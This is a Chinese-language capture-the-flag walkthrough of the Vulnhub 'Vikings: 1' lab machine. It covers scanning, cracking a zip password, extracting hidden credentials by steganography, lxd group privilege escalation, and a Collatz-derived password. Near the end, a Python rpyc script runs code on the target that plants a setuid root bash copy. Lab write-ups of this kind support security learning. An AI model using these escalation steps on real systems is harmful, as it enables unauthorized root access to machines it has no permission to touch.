Vulnhub 靶場 VIKINGS: 1


前期准備:

靶機下載地址:https://www.vulnhub.com/entry/vikings-1,741/

kali攻擊機ip:192.168.11.129
靶機ip:192.168.11.185

一、信息收集

1.使用nmap對目標靶機進行掃描

image

發現開放了22和80端口。

2. 80端口

訪問80端口:

image

檢查 site 目錄下的內容:

image

檢查了一下沒發現什么,掃一下目錄:

image

發現有個 war.txt 文件,查看一下:

image

再訪問 /war-is-over :

image

應該是個文件,下載下來 base64 解碼看看是個什么:

image

發現是個zip壓縮包,解壓一下:

image

發現需要密碼,那就破解一下:

image

解得密碼: ragnarok123,解壓后發現試一張圖片:

image

看下里面有沒有藏什么文件或者隱寫:

image

發現藏有一個壓縮包,壓縮包里有個 user 文件:

image

是一個賬戶: floki:f@m0usboatbuilde7,ssh登錄。

二、漏洞利用

image

進入系統后查下權限:

image

發現是 lxd 組里的,可以在這里提權。

一、第一種方法 - lxd 提權

查看一下 lxd:

image

發現可以用,查找一下了以利用的漏洞:

image

發現 46978.sh 查看一下怎么利用:

image

Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]

image

Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]

image

我這里下載不了 alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub ,說缺少文件校驗和。沒辦法。后續按照步驟做就可以獲得 root 權限

Step 3: Run this script and you will get root [Victim Machine]

Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

第二種方法

在 floki 根目錄下還發現了些別的信息:

image

readme.txt 中說的意思是找到 Ragner ,這應該是個用戶,但是不知道密碼。

boat 文件中說的是 collatz-conjecture (考拉茲猜想),又稱為3n+1猜想等,是指對於每一個正整數,如果它是奇數,則對它乘3再加1,如果它是偶數,則對它除以2,如此循環,最終都能夠得到1。如n = 6,根據上述數式,得出 6→3→10→5→16→8→4→2→1。boat 中的意思是求第 29 個素數的 collatz-conjecture 結果,網上差的結果是 29th Prime Number = 109 。所以寫個小腳本:

def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

image

Decimal 解碼得:mR)|>^/Gky[gz=\.F#j5P(

image

https://gchq.github.io/CyberChef/ 這網站解碼功能很全,就是初次訪問的有點慢)

登錄 Ragner 用戶:

image

寫個交互式 shell:

image

查看一下文件:

image

user.txt :

image

應該是一個 flag。在查看下別的文件:

image

發現 .profile 中在運行 rpyc,

image

這個還是 ragnar 用戶多出來的,那就監聽一下 tcp 連接:

image

發現在監聽 18812 端口,網上查了一下發現 rpyc_classic 是不安全的:

image

這里將root權限直接復制過來:

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')

fn = conn.teleport(getshell)
fn()

image

運行 bashroot 並查看flag:

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM